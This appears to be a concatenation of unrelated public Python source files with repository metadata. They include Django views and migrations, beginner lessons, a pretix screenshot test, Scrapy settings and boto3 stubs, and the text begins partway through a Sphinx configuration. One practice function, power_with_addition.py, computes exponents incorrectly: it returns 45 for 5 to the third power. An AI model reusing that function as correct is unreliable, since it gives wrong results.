relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['.static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'jottingdoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'jotting.tex', 'Jotting Documentation', 'Ryan Morshead', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'Jotting', 'Jotting Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'Jotting', 'Jotting Documentation', author, 'Jotting', 'One line description of project.', 'Miscellaneous'), ] # -- Extension configuration -------------------------------------------------

[ "ryan.morshead@gmail.com" ]

ryan.morshead@gmail.com

d10be5267e00090902d64733b7fc541f9f2561ef

ae596ab3ea6acca7265c2043aef0a9b9558f12b0

/Django/django-ex 3.0.2/ZTraining/F/views.py

71ac645374609770bcb9005e19c4d071dff77ea0

[]

no_license

LexusLight/PythonLearn

4013edf7b83aec7ab63d54c39617272c43eee584

1b62c28d4619f757e0d3691e444d61d69cc3c91f

refs/heads/master

2021-09-08T20:00:41.696775

2021-09-01T22:39:23

192,084,614

1

null

UTF-8

Python

false

1,658

py

from django.shortcuts import render from django.http import HttpResponseRedirect,HttpResponse,HttpResponsePermanentRedirect, HttpRequest from django.views.generic import View #Для создания класса from .models import User, Message from .forms import UserForm # Create your views here. def reg(request): # if request.COOKIES is not None: # x = request.COOKIES.get("x") # else: # x = 2 # x = 2 if 'x' in request.session and 'username' in request.session: x = request.session['x'] else: x = 2 if(x == 1): username = request.session['username'] user = User.objects.get(username = username) return render(request, 'user.html', {"user":user}) elif(x == 2): form = UserForm() return render(request, 'reg.html', {"form":form}) def exit(request): resp = HttpResponsePermanentRedirect('/C') # resp.set_cookie('x',2) del request.session['x'] request.session['x'] = 2 del request.session['username'] return resp class RegObr(View): def post(self,request): form = UserForm(self.request.POST) if form.is_valid(): user = User(username = form.cleaned_data['username'],realname = form.cleaned_data['realname']) user.save() resp = HttpResponseRedirect('/C') #Задаём куки. Пока не работает. # resp.set_cookie('x',1,max_age=10000) request.session['x'] = 1 request.session['username'] = form.cleaned_data['username'] return resp else: return HttpResponseRedirect('/C')

[ "kostyaelizarov@mail.ru" ]

kostyaelizarov@mail.ru

c975b1b26eec3465191ab42aad5a295e15539372

3cb8680bdf40e36a60952691f14a46c7ab912c74

/Map/migrations/0001_initial.py

b70afdfc3ed7271a2efef301b84e1e946a07c345

[]

no_license

MichaelMa2014/CivilAviation

3a81a4f5a281de3fc10fc0aa2f1c70f17dd0cf7b

e7ec921b589f10c6dcd340e0eff249e3878ffd76

refs/heads/master

2021-06-11T19:28:45.400398

2017-03-04T02:58:59

64,899,037

0

null

UTF-8

Python

false

1,676

py

# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-01-22 17:50 from __future__ import unicode_literals import Map.models from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Record', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('airline_code2', models.TextField()), ('lon', models.FloatField()), ('_id', models.TextField()), ('airport_icao_code', models.TextField()), ('num5', models.IntegerField()), ('typecode', models.TextField()), ('first_in', models.FloatField()), ('airline_code1', models.TextField()), ('lat', models.FloatField()), ('flight', models.TextField()), ('height', models.IntegerField()), ('num3', models.IntegerField()), ('airport_dep', models.TextField()), ('timestamp', models.TextField()), ('idshex', models.TextField()), ('str1', models.TextField()), ('num2', models.IntegerField()), ('last_modify', models.FloatField()), ('zone_range', Map.models.ListField(default=[])), ('airport_arr', models.TextField()), ('num1', models.IntegerField()), ('num4', models.IntegerField()), ('fid', models.TextField()), ], ), ]

[ "ljl_buaa@126.com" ]

ljl_buaa@126.com

625c33aedcdbc5998354b305955b42568c3b3411

caceb60f71165772b6d6155f619e79189e7c80a9

/第一期/杭州-冬/第二次任务/iter_eg.py

03278430ce85f5d7610e38e2ec3e82ebd219e29e

[ "Apache-2.0" ]

permissive

beidou9313/deeptest

ff41999bb3eb5081cdc8d7523587d7bc11be5fea

e046cdd35bd63e9430416ea6954b1aaef4bc50d5

refs/heads/master

2021-04-26T23:06:08.890071

2019-04-03T02:18:44

123,931,080

0

Apache-2.0

2018-03-05T14:25:54

2018-03-05T14:25:53

null

UTF-8

Python

false

1,487

py

#--coding:utf-8-- #迭代含义：可以通过for in循环来从头至尾循环访问其中元素的形式就叫迭代。可用于迭代的对象常叫可迭代对象。所谓遍历就是访问其中每个元素 ## 用instance()判断目标对象是否为某种类型.这里判断是否为可迭代对象 from collections import Iterable from collections import Iterator list_1=[0,1,2] print(isinstance(list_1,Iterable)) #判断是否为迭代器 print(isinstance(list_1,Iterator)) #迭代器：一个对象作为参数可以用于next()函数且返回下一个值的对象 #迭代器的两个基本方法 Iter() next() #其实我觉得这里叫函数更恰当 #如上list、str、tuple、dict等可用于for循环遍历为可迭代对象但不是迭代器 ##不过我们可以把可迭代对象改造成迭代器用iter() it_list=iter(list_1) #对改造完成的迭代器上next() print("iterator第一个元素 %d" % next(it_list)) print("iterator第二个元素 %d" % next(it_list)) print("iterator第三个元素 %d" % next(it_list)) #对于迭代器仍然可用for in循环来一次性从头开始访问所有元素. it_list=iter(list_1) for i in it_list: print(i) #Iterable不一定是Iterator. Itrrator一定是Iterable #Iterator可表示一个的数据结构--甚至无限大,但此时并没有事先就存储那么多的元素,保存 # 的只是计算方法,只有用next()才会计算出下一个数据并返回--注意是计算出,计算后也没有保存

[ "lw20140705@163.com" ]

lw20140705@163.com

605e989d78c320d738acb3228b5b0603b16caddb

ce59a94a69b8fe3def1ff78960c5e2f0e39a722b

/scenes/plugins/scene_stretchgoals.py

8c24eed97969eb31d36629ef0c411150e81389c2

[ "Apache-2.0" ]

permissive

pretix/pretix-screenshots

8503165edae82b4aedd0bccdc26e55d590114a97

5956ca3f8baf7ff38e59cb8f571134ce1bf2a6aa

refs/heads/master

2022-10-15T15:36:12.298581

2022-10-07T14:19:27

98,909,158

15

4

null

UTF-8

Python

false

3,253

py

import json import random import time from datetime import timedelta import pytest from decimal import Decimal from django.conf import settings from django.utils.timezone import now from django.utils.translation import gettext as _ from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from pretix.base.models import Order, OrderPayment from ..utils import screenshot @pytest.mark.django_db @pytest.mark.skipif( 'pretix_stretchgoals' not in settings.INSTALLED_APPS, reason='Plugin not installed.' ) def shot_stretchgoals(live_server, organizer, event, logged_in_client): event.plugins += ',pretix_stretchgoals' event.save() eb = event.items.create(name=_('Early-bird ticket'), default_price=23, admission=True) regular = event.items.create(name=_('Regular ticket'), default_price=26, admission=True) event.settings.stretchgoals_items = '{},{}'.format(eb.pk, regular.pk) event.settings.stretchgoals_chart_averages = True event.settings.stretchgoals_chart_totals = True event.settings.stretchgoals_is_public = True event.settings.stretchgoals_goals = json.dumps([ { 'name': _('Break-even'), 'total': 10000, 'amount': 435, 'description': '' }, { 'name': _('We can have a party'), 'total': 20000, 'amount': 435, 'description': '' } ]) for day in range(30): d = now() - timedelta(days=day) order = event.orders.create( status=Order.STATUS_PAID, email='admin@localhost', expires=now(), datetime=d, total=Decimal("23"), locale='en' ) order.payments.create( provider='banktransfer', amount=order.total, payment_date=d, state=OrderPayment.PAYMENT_STATE_CONFIRMED ) num = max(0, random.randint(25, 45) - day) for l in range(num): if day > 15: order.positions.create( item=regular, price=Decimal('23.00') ) else: order.positions.create( item=regular, price=Decimal('26.00') ) logged_in_client.get(live_server.url + '/control/event/{}/{}/stretchgoals/settings/'.format( organizer.slug, event.slug )) screenshot(logged_in_client, 'plugins/stretchgoals/settings.png') logged_in_client.get(live_server.url + '/control/event/{}/{}/stretchgoals/'.format( organizer.slug, event.slug )) WebDriverWait(logged_in_client, 10).until( EC.presence_of_element_located((By.CSS_SELECTOR, "#avg_chart svg")) ) time.sleep(.5) screenshot(logged_in_client, 'plugins/stretchgoals/backend.png') logged_in_client.get(live_server.url + '/{}/{}/stats/'.format( organizer.slug, event.slug )) WebDriverWait(logged_in_client, 10).until( EC.presence_of_element_located((By.CSS_SELECTOR, "#avg_chart svg")) ) time.sleep(.5) screenshot(logged_in_client, 'plugins/stretchgoals/frontend.png')

[ "mail@raphaelmichel.de" ]

mail@raphaelmichel.de

0882fcb47bebd1dc53eb867eef4cf8a6fec37fe4

4d8b3f23d6de766425d71264a854fd85569eb239

/generateConfig.py

6a136320f7cd7a3bb6f5ccfeace038dd1366d821

[ "MIT" ]

permissive

BrendanHalley/infping

3f07a5178fed4531ce5076c6b7c8cd0a882b68c4

32c52befd7fce45c3d9a5dde1eb2af6a13c5a64e

refs/heads/master

2020-07-28T21:00:57.622546

2020-02-16T23:11:43

209,536,587

0

MIT

2019-09-19T11:29:34

null

UTF-8

Python

false

510

py

import urllib.request import re regex = r"(\[.*\].*\[(.*)\])" url = 'https://raw.githubusercontent.com/jlu5/netmeter.club/confv2/Targets-Shared' response = urllib.request.urlopen(url) data = response.read() text = data.decode('utf-8') matches = re.finditer(regex, text, re.MULTILINE) for matchNum, match in enumerate(matches, start=1): print("[hosts."+match.groups()[1].replace(".", "_")+"]") print("ip = \""+match.groups()[1]+"\"") print("description = \""+match.groups()[0]+"\"") print()

[ "bhalley@Brendans-MacBook-Pro.local" ]

bhalley@Brendans-MacBook-Pro.local

c86b71c71ec2eedf029e8a7c177ed3564e14f23c

34ae7274b072b9eb84c0b94e99a1ee6b3bc2c926

/Python/Python_base/lesson_003/03_division.py

e47beabf5bcb72537f7edcfa585a0a01080ce937

[]

no_license

Alister-uz/lessons

6541636b9432045e2859a8838441b2c4116aca53

6d4ead2f95f893e91a7ba75ccadaaec0caf3759b

refs/heads/master

2022-12-14T16:15:31.128064

2020-09-05T16:24:17

289,890,393

0

null

UTF-8

Python

false

763

py

# -*- coding: utf-8 -*- # (цикл while) # даны целые положительные числа a и b (a > b) # Определить результат целочисленного деления a на b, с помощью цикла while, # __НЕ__ используя ни одной из операций деления: ни деления с плавающей точкой /, ни целочисленного деления // # и взятия остатка % # Формат вывода: # Целочисленное деление ХХХ на YYY дает ZZZ a, b = 179, 37 whole, x = 0, a while x >= b: whole += 1 x -= b print('Целочисленное деление', a, 'на', b, 'дает', whole) # зачёт! 🚀

[ "khasankhodjaev@gmail.com" ]

khasankhodjaev@gmail.com

6fb551cdb3e28ef196baa88670818bd52cc39b38

41adb4208413fe73ac43db4b427ad44f15bf8ea7

/python/vinicius/PC_MeanShift_simulated/sim_6/pc4/par_0.6/config.py

1acf9dc87c6b15d988039c673a8f5254e25759ac

[]

no_license

emilleishida/MLSNeSpectra

daebb13307586e0450f32c87495dcf0ef3f59c10

182640f93b68722dbd4ca5e45916b849daa65da4

refs/heads/master

2016-09-15T17:01:09.570337

2015-12-08T16:17:25

42,939,754

0

1

null

UTF-8

Python

false

2,954

py

##################################################################################### ''' Original data: Used for the reduction, not needed if doing clusreing only ''' ORG_DATA = '/home/vinicius/MLSNeSpectra/python/SN_simulator/simulated_data/6/derivatives.dat' ##################################################################################### ''' REDUCTION METHOD possibilities: -pca The aditional parameters must be added with the same name as in the original function plus the prefix REDUCTION_METHOD'_'. Example: if REDUCTION_METHOD is 'pca', the parameter n_components must be declared as pca_n_components= ... if REDUCTION_METHOD is 'empca', the parameter error_file can be declared as empca_errors_file= ... in order to run with weights=1/errors^2. Its default value is None, so empca runs without weights ''' REDUCTION_METHOD = 'pca' pca_n_components = 4 ##################################################################################### ''' CLUSTERING METHOD possibilities: -MeanShift -KMeans -AffinityPropagation -AgglomerativeClustering -DBSCAN The aditional parameters must be added with the same name as in the original function plus the prefix CLUSTERING_METHOD'_' Example: if CLUSTERING_METHOD is 'MeanShift', the parameter quantile must be declared as MeanShift_quantile= ... ''' CLUSTERING_METHOD = 'MeanShift' MeanShift_quantile = 0.6 ##################################################################################### ''' CLUSTERING OUTPUT EXTENSIONS extension of output plots produced by pylab ''' PLOT_EXT = '.png' PLOT_SPEC_EXT = '.pdf' ##################################################################################### ''' QUALITY TEST METHODS put one or more (as a vector) quality checks for clustering. possibilities are: -silhouette_index -Dunn_index -DavisBouldin_index -vrc ''' QUALITY_METHODS=['silhouette_index','Dunn_index','DavisBouldin_index','vrc'] ##################################################################################### ''' CLUSTERING INPUT DATA add this ONLY if you want to use a external data source for the clustering, if you want to use the data from the pipeline leave it commented. Be aware that this data will also go into the plotting. ''' #REDUCED_DATA_EXTERNAL = '../empca_trained_coeff/coefficients.dat' ##################################################################################### ''' PLOTTING INPUT DATA add this ONLY if you want to use a external data source of the clusters for the plotting, if you want to use the data from the pipeline leave it commented. You can also add an external file with different label to set different colors to the reduced data. The default color scheme is according to each parent cluster. ''' #CLUSTERS_DATA_EXTERNAL = '../empca_trained_coeff/coefficients.dat' #LABELS_DATA_EXTERNAL = '../empca_trained_coeff/coefficients.dat'

[ "viniciusbusti@gmail.com" ]

viniciusbusti@gmail.com

fdd7f8ee95f616f5aa5372945a0110179f64cea7

4c499782655f8e929a5dd6b39d6c5d378fcfd7bd

/power_with_addition.py

1d4fa1bd5ca75f69b37dd4de46f043bd736e9f2f

[]

no_license

IanCBrown/practice_questions

53a3fd66bee807f6e30e6d57632966f146c704c9

838b94c26cd3c26b76c3908277944a3b5f9bc7c7

refs/heads/master

2021-08-06T07:14:57.237709

2020-04-16T05:03:33

149,521,025

1

0

null

UTF-8

Python

false

216

py

def power(a, b): if b == 0: return 1 prev = a total = a for i in range(b - 1): for j in range(a - 1): total += a prev = total return total print(power(5,3))

[ "icb0004@auburn.edu" ]

icb0004@auburn.edu

947e7d0b2f584aa3d47e30ea9438057dd592df00

75dcb56e318688499bdab789262839e7f58bd4f6

/_algorithms_challenges/leetcode/lc-all-solutions/543.diameter-of-binary-tree/diameter-of-binary-tree.py

925bed2373395d7fcfc71f9d53c052df1004c1c8

[]

no_license

syurskyi/Algorithms_and_Data_Structure

9a1f358577e51e89c862d0f93f373b7f20ddd261

929dde1723fb2f54870c8a9badc80fc23e8400d3

refs/heads/master

2023-02-22T17:55:55.453535

2022-12-23T03:15:00

226,243,987

4

1

null

2023-02-07T21:01:45

2019-12-06T04:14:10

Jupyter Notebook

UTF-8

Python

false

537

py

# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def diameterOfBinaryTree(self, root): """ :type root: TreeNode :rtype: int """ self.ans = 0 def dfs(root): if not root: return 0 left = dfs(root.left) right = dfs(root.right) self.ans = max(self.ans, left + right) return max(left, right) + 1 dfs(root) return self.ans

[ "sergejyurskyj@yahoo.com" ]

sergejyurskyj@yahoo.com

d5e07aa271294e9efcb13756857b8b1a8a51f9c5

b7864b7beb3567cfd84877f887958b67065cb58d

/mypractice/app/migrations/0002_new_database_course.py

87582416929397acbcfc5c097ca9402a2a313d4c

[]

no_license

AliMalik9599/MyPractice

2d63710c35fe403a1be260acda031550487cc1e6

4175bfe92caa349e47025f3f1e72c98b5853a821

refs/heads/main

2023-03-10T05:13:54.851456

2020-12-21T13:46:53

null

0

null

UTF-8

Python

false

11,135

py

from django.db import migrations, models from app.models import Course, Skill, Card import datetime schema = 'Answer the following question based on this schema: branch(branch-name, branch-city, assets) ' \ 'customer(customer-name, customer-street, customer-city) account(branch-name, account-number, balance) ' \ 'loan(branch-name, loan-number, amount) depositor(customer-name, account-number) borrower(customer-name,' \ ' loan-number) ' def add_mock_databases_course(apps, schema_editor): d, created = Course.objects.get_or_create(name='Databases', description="An introduction to Databases in SQL.") d.save() relational_algebra, created = Skill.objects.get_or_create(name="Relational Algebra", course=d) relational_algebra.save() relational_calculus, created = Skill.objects.get_or_create(name="Relational Calculus", course=d) relational_calculus.save() sql, created = Skill.objects.get_or_create(name="SQL", course=d) sql.save() theory, created = Skill.objects.get_or_create(name="Theory", course=d) theory.save() c1, created = Card.objects.get_or_create(title='Project', course=d, skill=relational_algebra, level=1, duration=5, view_count=0, content='Symbol: PI Notation: PI_a1,a2,...,ak(r) where a1, a2 are attributes of relation r Result: The relation of k columns obtained by erasing the columns not listed') c1.save() c2, created = Card.objects.get_or_create(title='Union', course=d, skill=relational_algebra, level=1, duration=5, view_count=0, content='Symbol: U Notation: r U s where s and r are relations with the same number of attributes, and the attributes are compatible Result: r U s = {t| t is element of r OR t is element of s}') c2.save() c3, created = Card.objects.get_or_create(title='Select', course=d, skill=relational_algebra, level=3, duration=5, view_count=0, content='Symbol: SIGMA Notation: SIGMA_p(r) where p is a formula with propositional calculus Result: r = SIGMA_a=b and d > 5 where the rows selected have values for both b and d greater than 5') c3.save() c4, created = Card.objects.get_or_create(title='Set Difference', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content='Symbol: - Notation: r - s where r and s are relations with compatible domains Result: r - s = {t| t is element of r AND t is not an element of s}') c4.save() c5, created = Card.objects.get_or_create(title='Cartesian Product', course=d, skill=relational_algebra, level=1, duration=5, view_count=0, content='Symbol: X Notation: r X s Result: r X s = {tq| t is element of r AND q is element of s}') c5.save() c6, created = Card.objects.get_or_create(title='Set Intersection', course=d, skill=relational_algebra, level=3, duration=5, view_count=0, content='Symbol: INTERSECT Notation: r INTERSECT s Result: r INTERSECT s = {t| t is element of r AND t is element of s}') c6.save() c7, created = Card.objects.get_or_create(title='Natural Join', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content='Symbol: JOIN Notation: r JOIN s where r = (A, B, C, D) and s = (E, B, D) Result: PI_r.A, r.B, r.C, r.D, r.E(SIGMA_r.B=s.B, r.D=s.D(r X s))') c7.save() c8, created = Card.objects.get_or_create(title='Division', course=d, skill=relational_algebra, level=1, duration=5, view_count=0, content='Symbol: % Notation: r % s Result: Suited queries that include "for all" and yields a relation that includes all rows in r where one attribute matches every row in s') c8.save() c9, created = Card.objects.get_or_create(title='RC Practice Question 1', course=d, skill=relational_calculus, level=2, duration=15, view_count=0, content=schema+' Using relational calculus, find the nnames of all customers having a loan, an account, or both at the bank.') c9.save() c10, created = Card.objects.get_or_create(title='RC Practice Question 2', course=d, skill=relational_calculus, level=2, duration=15, view_count=0, content=schema+' Using relational calculus, find the branch-name, loan-number, and amount for loans of value over $1200.') c10.save() c11, created = Card.objects.get_or_create(title='RC Practice Question 3', course=d, skill=relational_calculus, level=2, duration=15, view_count=0, content=schema+' Using relational calculus, find the names of all customers who have a loan at the Perryridge branch, but not account at any branch of the bank.') c11.save() c12, created = Card.objects.get_or_create(title='RC Practice Question 4', course=d, skill=relational_calculus, level=3, duration=15, view_count=0, content=schema+' Using relational calculus, find the names of all customers having a loan from the Perryridge branch and the cities the live in.') c12.save() c13, created = Card.objects.get_or_create(title='The select clause', course=d, skill=sql, level=3, duration=5, view_count=0, content='The select clause corresponds to the projection operation in relational algebra. It is used to list the attributes desired in the result of a query. Example: SELECT branch-name FROM loan') c13.save() c14, created = Card.objects.get_or_create(title='The where clause', course=d, skill=sql, level=4, duration=5, view_count=0, content='The where clause corresponds to the selection predicate of relational algebra. it consists of a predicate involving attributes of the relations that appear in the from clause. Example: SELECT loan-number FROM loan WHERE branch-name = "Perryridge" AND amount > 1200') c14.save() c15, created = Card.objects.get_or_create(title='The from clause', course=d, skill=sql, level=1, duration=5, view_count=0, content='The from clause corresponds to the cartesian product operation in relational algebra. It lists the relations to be scanned in the evaluation of the expression. Example: SELECT * FROM borrower, loan') c15.save() c16, created = Card.objects.get_or_create(title='String operations', course=d, skill=sql, level=5, duration=5, view_count=0, content='SQL includes a string-matching operator for comparisons on character strings. Patterns are described using %, which matches any substring, and _, which matches any character. Example: SELECT customer-name FROM customer WHERE customer-name LIKE "%Main%" finds all customers who life on a street containing the substring Main.') c16.save() c17, created = Card.objects.get_or_create(title='Ordering the display of tuples', course=d, skill=sql, level=3, duration=5, view_count=0, content='Ascending order is default, but "desc" can be used to reverse the order ("asc" for ascending). Example: SELECT DISTINCT customer-name FROM borrower, loan WHERE borrower.loan-number = loan.loan.number AND branch-name = "Perryridge" ORDER BY customer-name') c17.save() c18, created = Card.objects.get_or_create(title='Aggregate functions ', course=d, skill=sql, level=2, duration=5, view_count=0, content='Functions that operate on the multiset of values of a column of a relation, and return a value. Operations: avg = average value min = minimum value max = maximum value sum = sum of values count = number of values') c18.save() c19, created = Card.objects.get_or_create(title='SQL Practice Problem 1', course=d, skill=sql, level=2, duration=10, view_count=0, content='Using SQL, find the number of tuples in the customer relation') c19.save() c20, created = Card.objects.get_or_create(title='SQL Practice Problem 2', course=d, skill=sql, level=2, duration=10, view_count=0, content='Using SQL, find average account balance at the Perryridge branch.') c20.save() c21, created = Card.objects.get_or_create(title='Group by', course=d, skill=sql, level=2, duration=5, view_count=0, content='The group by operator allows aggregate functions to be performed on a some subset of the relation. Example: Find the number of depositors for each branch. SELECT branch-name, COUNT(DISTINCT customer-name) FROM depositor, account WHERE depossiter.account-number = account.account-number GROUP BY branch-name') c21.save() c21, created = Card.objects.get_or_create(title='Having clause', course=d, skill=sql, level=2, duration=5, view_count=0, content='Predicates of the habing clause are applied after the formation of groups. Example: Find the number names of all branches where the average balance is more than $1200. SELECT branch-name, AVG(balance) FROM account GROUP BY branch-name having AVG(balance) > 1200') c21.save() c27, created = Card.objects.get_or_create(title='SQL Practice Problem 3', course=d, skill=sql, level=2, duration=10, view_count=0, content=schema+' Using SQL, Find the name of all customers who have a loan, an accoount, or both, from the bank.' ) c27.save() c28, created = Card.objects.get_or_create(title='RA Practice Problem 1', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content=schema+' Using relational algebra, find the loan number for each loan of an amount greater than $1200.' ) c28.save() c29, created = Card.objects.get_or_create(title='RA Practice Problem 2', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content=schema+' Using relational algebra, find the name of all customers who have a loan, an accoount, or both, from the bank.' ) c29.save() c30, created = Card.objects.get_or_create(title='RA Practice Problem 3', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content=schema+' Using relational algebra, find the name of all customers who have a loan, at the Perryridge branch.' ) c30.save() c31, created = Card.objects.get_or_create(title='RA Practice Problem 4', course=d, skill=relational_algebra, level=2, duration=5, view_count=0, content=schema+' Using relational algebra, find all customers who have an account at all branches located in Brooklyn.' ) c31.save() c32, created = Card.objects.get_or_create(title='Foreign key constraint', course=d, skill=theory, level=2, duration=10, view_count=0, content='Foreign key is used to link two tables together. Constraints on it prevent actions that would destroy links between tables and prevent invalid data from being inserted into the foreign key columb because it has to be one of the values contained in the table it points to.') c32.save() c33, created = Card.objects.get_or_create(title='Unique constraint', course=d, skill=theory, level=2, duration=10, view_count=0, content='Unique constraint guarantees that each value in a column is unique.') c33.save() c34, created = Card.objects.get_or_create(title='Not null constraint', course=d, skill=theory, level=2, duration=10, view_count=0, content='Not null guarantees that the values in a column are not null.') c34.save() class Migration(migrations.Migration): dependencies = [ ('app', '0002_mock_users'), ] operations = [ migrations.RunPython(add_mock_databases_course) ]

[ "MbMv2017" ]

MbMv2017

41c8693e05e937b38bcf53526df92cf7209d924d

59043eaa3e8e437901a81960619828806d894c1c

/venv/Lib/site-packages/boto3-stubs/resources/action.pyi

572289c1ebb96340a28e80ed94d14f24dd6ee9b2

[]

no_license

erschese/Udacity_Project_3_AWS

7e06b2ca228c1ea84cb169f184a83227f39ba754

c40813e135f0fb15c64e769fd36f5e413b77e078

refs/heads/master

2022-12-31T10:03:14.222790

2020-10-25T08:47:49

307,058,511

0

null

UTF-8

Python

false

1,354

pyi

# pylint: disable=unused-argument,multiple-statements,super-init-not-called import logging from typing import List, Dict, Any, Union, Callable from botocore.hooks import BaseEventHooks from boto3.resources.model import Action, Waiter from boto3.resources.factory import ResourceFactory from boto3.resources.base import ServiceResource from boto3.resources.collection import ResourceCollection from boto3.utils import ServiceContext logger: logging.Logger class ServiceAction: def __init__( self, action_model: Action, factory: ResourceFactory = ..., service_context: ServiceContext = ..., ) -> None: ... def __call__( self, parent: ServiceResource, *args: Any, **kwargs: Any ) -> Union[ServiceResource, List[ServiceResource], Dict[str, Any]]: ... class BatchAction(ServiceAction): def __call__(self, parent: ResourceCollection, *args: Any, **kwargs: Any) -> List[Dict]: ... class WaiterAction: def __init__(self, waiter_model: Waiter, waiter_resource_name: str) -> None: ... def __call__(self, parent: ServiceResource, *args: Any, **kwargs: Any) -> None: ... class CustomModeledAction: def __init__( self, action_name: str, action_model: Dict[str, Any], function: Callable[..., Any], event_emitter: BaseEventHooks, ) -> None: ...

[ "serschen@yahoo.de" ]

serschen@yahoo.de

d04c5189276ac69b90876d250842817a4b4da3b7

e591660cba22e78d2bed0b185aaea41049f440f3

/fetch_player_urls/fetch_player_urls/settings.py

b8bac30ebb46163ed01785995a6f769869bf8182

[]

no_license

Joe-Ferrara/nba-draft-history

f4faa86e9bcb0b52b1b7bfa8f134f5f9c64d93b3

9aa387f437828c5396cbf777f494db8123cb93e2

refs/heads/master

2022-11-23T18:02:14.261973

2020-07-18T00:06:42

275,638,425

1

0

null

UTF-8

Python

false

3,194

py

# -*- coding: utf-8 -*- # Scrapy settings for fetch_player_urls project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://docs.scrapy.org/en/latest/topics/settings.html # https://docs.scrapy.org/en/latest/topics/downloader-middleware.html # https://docs.scrapy.org/en/latest/topics/spider-middleware.html BOT_NAME = 'fetch_player_urls' SPIDER_MODULES = ['fetch_player_urls.spiders'] NEWSPIDER_MODULE = 'fetch_player_urls.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'fetch_player_urls (+http://www.yourdomain.com)' # Obey robots.txt rules ROBOTSTXT_OBEY = True # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs #DOWNLOAD_DELAY = 3 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) #COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: #DEFAULT_REQUEST_HEADERS = { # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Language': 'en', #} # Enable or disable spider middlewares # See https://docs.scrapy.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'fetch_player_urls.middlewares.FetchPlayerUrlsSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html #DOWNLOADER_MIDDLEWARES = { # 'fetch_player_urls.middlewares.FetchPlayerUrlsDownloaderMiddleware': 543, #} # Enable or disable extensions # See https://docs.scrapy.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See https://docs.scrapy.org/en/latest/topics/item-pipeline.html ITEM_PIPELINES = { 'fetch_player_urls.pipelines.FetchPlayerUrlsPipeline': 300, } # Enable and configure the AutoThrottle extension (disabled by default) # See https://docs.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'

[ "jferrara90@gmail.com" ]

jferrara90@gmail.com

f03d531ce385545c40a3fe6f1781c9cf8895049e

f155652505e491afd6a6f33b2b8ad2881bb022d2

/app/xsbk.py

4c4e9efda5db28509aa27648f74c96bbe521172f

[ "MIT" ]

permissive

yanglgtm/cobweb

7dd1287cfaf361bae00e83831a8726968d5cb4a8

94092b8144c7f9b8edde1ef9b6b58b46ba07b87f

refs/heads/master

2022-05-12T06:24:49.916369

2017-10-20T10:46:08

null

0

null

UTF-8

Python

false

2,330

py

